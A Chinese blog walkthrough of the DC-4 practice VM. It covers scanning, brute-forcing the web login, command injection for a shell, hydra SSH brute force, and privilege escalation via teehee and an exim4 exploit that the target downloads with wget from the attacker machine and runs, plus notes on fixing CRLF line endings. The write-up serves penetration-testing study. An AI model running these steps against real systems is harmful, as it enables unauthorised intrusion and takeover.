首页 > 其他分享 >dc-4

dc-4

时间:2024-09-12 21:46:33浏览次数:1  
标签:脚本 shell dc 提权 Unix 格式 换行符

靶机下载地址:dc-4

找靶机

nmap -sV 192.168.6.0/24

image

查看一下端口服务

image

很明显就只是一个简单的登录框
我们爆破一下
最终得到用户名:admin 密码:happy

进去看看怎么个事
image

很明显是一个选择既定的命令进行命令执行
我们可以抓包然后即可使用我们自己设计的命令

image

直接拿shell

image

然后再实现交互

python -c "import pty;pty.spawn('/bin/bash')"

image

经过一系列探索我们发现在home目录下有一个jim用户里面有可疑文件
image

怀疑是让我们去爆破此用户的密码
我们吧此可疑文件的内容保存去用来爆破密码即可

hydra -l jim.txt -p jim -vV ssh://192.168.6.130

image

成功爆出登陆即可

image

登陆后发现了存在邮件
查看是否有可疑信息
结果又发现一个用户很简单了我们直接登陆即可

image
(邮件在/var/spool/mail)

登陆后经过一系列探索发现发现可以teehee提权

image

成功

image

后来又发现一种新方法
就是直接在
获得shell之后直接suid进行提权即可
先查询可利用的文件

find / -perm -u=s -type f 2>/dev/null

image

可利用exim4来进行提权

首先我们先去本地漏洞库进行查看

searchsploit exim 4

image

发现符合的利用程序

先将其放到我们kali上

image

image

再在/var/www/html目录下使用命令
systemctl start apache2.service

命令作用:
当你执行 systemctl start apache2.service 时,它会尝试启动 Apache Web 服务器。如果 Apache 服务器已经安装但没有启动,该命令会启动它,并使其开始监听 HTTP 请求,通常是在默认的 80 端口(HTTP)或 443 端口(HTTPS)。

然后我们即可用靶机直接

wget http://kali的ip/46996.sh

即可成功获得文件

加上权限直接执行即可获得权限

如果失败下面是原因:

在 Linux 环境下执行 shell 脚本时,脚本的格式必须符合 Unix 系统的标准。如果脚本格式为 DOS(Windows)的格式,可能会出现执行错误,导致提权失败。通常问题的根源是 Windows 和 Unix 系统使用不同的换行符。

1. 问题的原因:DOS 和 Unix 换行符的区别
Unix/Linux 换行符:\n(Line Feed,简称 LF)
Windows/DOS 换行符:\r\n(Carriage Return + Line Feed,简称 CRLF)
如果一个脚本是从 Windows 系统中创建或编辑的,它的换行符可能是 CRLF 格式。Linux 在执行带有 CRLF 换行符的脚本时,可能会因为换行符格式不兼容而无法正确执行,导致错误如:

/bin/bash^M: bad interpreter: No such file or directory
这个 ^M 是由于 DOS 格式的 CR 字符导致的。

2. 解决方法:转换为 Unix 格式
要解决这个问题,必须将脚本的换行符从 DOS 格式(CRLF)转换为 Unix 格式(LF)。有多种方式可以实现这一点:

方法 1:使用 Vim 进行转换
Vim 编辑器可以轻松地将文件格式转换为 Unix 格式。你提到的解决方法正是通过 Vim 实现的,步骤如下:

打开脚本文件:


vim shell.sh
转换文件格式: 在 Vim 中输入以下命令:
:set ff=unix
这里的 ff 代表 fileformat,设置为 unix 后,Vim 会将文件的换行符转换为 Unix 格式。
保存并退出: 按 Esc,然后输入以下命令保存并退出 Vim:
:wq
这将确保文件的换行符为 Unix 格式,使得在 Linux 系统中执行时不再出现换行符兼容性的问题。


方法 2:使用 dos2unix 工具
如果不想用 Vim 编辑器,你可以使用专门的工具 dos2unix 来转换文件格式。

安装 dos2unix(如果未安装):

sudo apt-get install dos2unix
转换脚本文件:

dos2unix shell.sh
这会将文件的换行符从 DOS 格式转换为 Unix 格式。

方法 3:使用 sed 命令
你也可以通过 sed 命令来删除 CR 字符:

sed -i 's/\r$//' shell.sh
这条命令会将脚本中的 \r(CR)删除,从而转换为 Unix 格式。

3. 提权流程
在靶机中,由于最初脚本的格式是 DOS 格式,导致无法正确执行。执行以下步骤可以解决问题并成功提权:

在攻击机中修改 shell 脚本:确保脚本的格式为 Unix 格式。

使用 Vim 编辑器的 :set ff=unix 或其他工具(如 dos2unix)将文件格式转换为 Unix。
重新下载脚本到靶机:在靶机中,通过网络(如使用 wget 或 scp)下载修改后的脚本。

赋予执行权限:在靶机中,使用 chmod 命令赋予脚本执行权限:

chmod +x shell.sh
执行脚本进行提权:运行脚本,成功提权:

./shell.sh
获得最终的 flag:执行成功后,获得系统权限并读取系统中的 flag 文件。

总结
提权失败的原因是由于 shell.sh 文件使用了 DOS 格式,Linux 无法执行带有 CRLF 换行符的脚本。
通过将文件的格式转换为 Unix 格式(LF 换行符),解决了换行符兼容性的问题。
在靶机中重新下载修改后的脚本并赋予执行权限,成功执行脚本完成提权,获得最终的 flag。
这个问题在跨平台开发环境中(如从 Windows 到 Linux 传输文件)非常常见,解决方法是确保文件格式与目标平台兼容。

标签:脚本,shell,dc,提权,Unix,格式,换行符
From: https://www.cnblogs.com/dghh/p/18410821

相关文章

  • ADC入门准备(六):信号与系统知识回顾
    目录3.2周期信号的傅里叶级数分析3.2.1 傅里叶级数的三角形式狄里赫利(Dirichlet)条件方波的傅里叶级数展开 三角波的傅里叶级数展开锯齿波的傅里叶级数展开3.2.2 傅里叶有限级数与最小方均误差正余弦积分公式奇谐函数与偶谐函数吉伯斯现象3.2.3傅里叶级数的......
  • SiC,GaN驱动优选驱动方案SiLM5350系列SiLM5350MDDCM-DG 带米勒钳位Clamp保护功能 单通
    SiLM5350MDDCM-DG是一款适用于IGBT、MOSFET的单通道隔离门极驱动器,具有10A拉电流和10A灌电流驱动能力。提供内部钳位功能,可单独控制上升时间和下降时间。 在SOP8封装中具有3000VRMS隔离耐压(符合UL1577)。与基于光耦合器的标准门极驱动器相比,带来了显著的性......
  • 5G Multicast/Broadcast Services(MBS) (三)Broadcast
    这篇是Broadcast的overview,正文开始。值得注意的是,对于5MBSbroadcast,UE处于RRCidle/RRC connected/Inactive时,网络侧都可以通过MRB将MBS广播数据传输到UE。对于Broadcast涉及的RNTI有G-RNTI以及MCCH-RNTI。1SessionManagement对于特定服务,将执行以下阶段:(1)MBS......
  • 【开源dcluster】一站式数据服务分析平台IDEA本地开发指南
    源码Gitee地址:https://gitee.com/zhenglv123456/dcluster在线文档:http://47.121.127.33:8090/在线体验:http://36.155.14.171:12345/dolphinscheduler/ui/login账号密码:test/test123  源码启动1.前端启动 进入dolphinscheduler-ui目录,执行以下命令 npmins......
  • 文件对比工具--BeyondCompare
    ......
  • 下载教程|Acrobat DC(PDF)软件的完整安装步骤
    如大家所熟悉的,AcrobatDC是一款PDF文档阅读、编辑工具,我们可以运用它来查看、打印和注释PDF文档。此外,我们也常常运用AcrobatDC来给PDF文件去水印。它的功能强大,运用也十分广泛,我们常常称它为PDF神器。AcrobatDC自用安装包资源分享:https://pan.baidu.com/s/1V8HPhGcQsr4......
  • 零基础国产GD32单片机编程入门(十六)DMA详解及ADC-DMA方式采集含源码
    文章目录一.概要二.GD32F103C8T6单片机DMA外设特点三.GD32单片机DMA内部结构图四.DMA各通道请求五.GD32F103C8T6单片机ADC-DMA采集例程六.工程源代码下载七.小结一.概要基本概念:DMA是DirectMemoryAccess的首字母缩写,是一种完全由硬件执行数据交换的工作方式。DM......
  • 日志与追踪的完美融合:OpenTelemetry MDC 实践指南
    前言在前面两篇实战文章中:OpenTelemetry实战:从零实现分布式链路追踪OpenTelemetry实战:从零实现应用指标监控覆盖了可观测中的指标追踪和metrics监控,下面理应开始第三部分:日志。但在开始日志之前还是要先将链路追踪和日志结合起来看看应用实际使用的实践。通常我们排查......
  • ADCIRC+SWAN耦合模型使用流程
    0、前言        由于我发现,关于风暴潮耦合模型ADCIRC+SWAN,能够在网上找到的资料实在是少之又少,所以特此打算写一系列的有关该模型的使用流程。1、软件介绍        在这里或许有人会问,到底什么是ADCIRC?什么是SWAN?为什么会有两个模型,而ADCIRC+SWAN又是什么?......
  • tailwindcss学习:2 自定义类的使用和常见的tailwindcss前缀
    1.自定义类的定义在Tailwind CSS中,您可以通过 tailwind.config.js 文件定义自定义类。类似 border-custom-green 这种写法实际上是一个组合类,通常是由自定义类和内置类结合而成的。示例:自定义边框颜色假设您在 tailwind.config.js 中定义了一个自定义颜色://tailwi......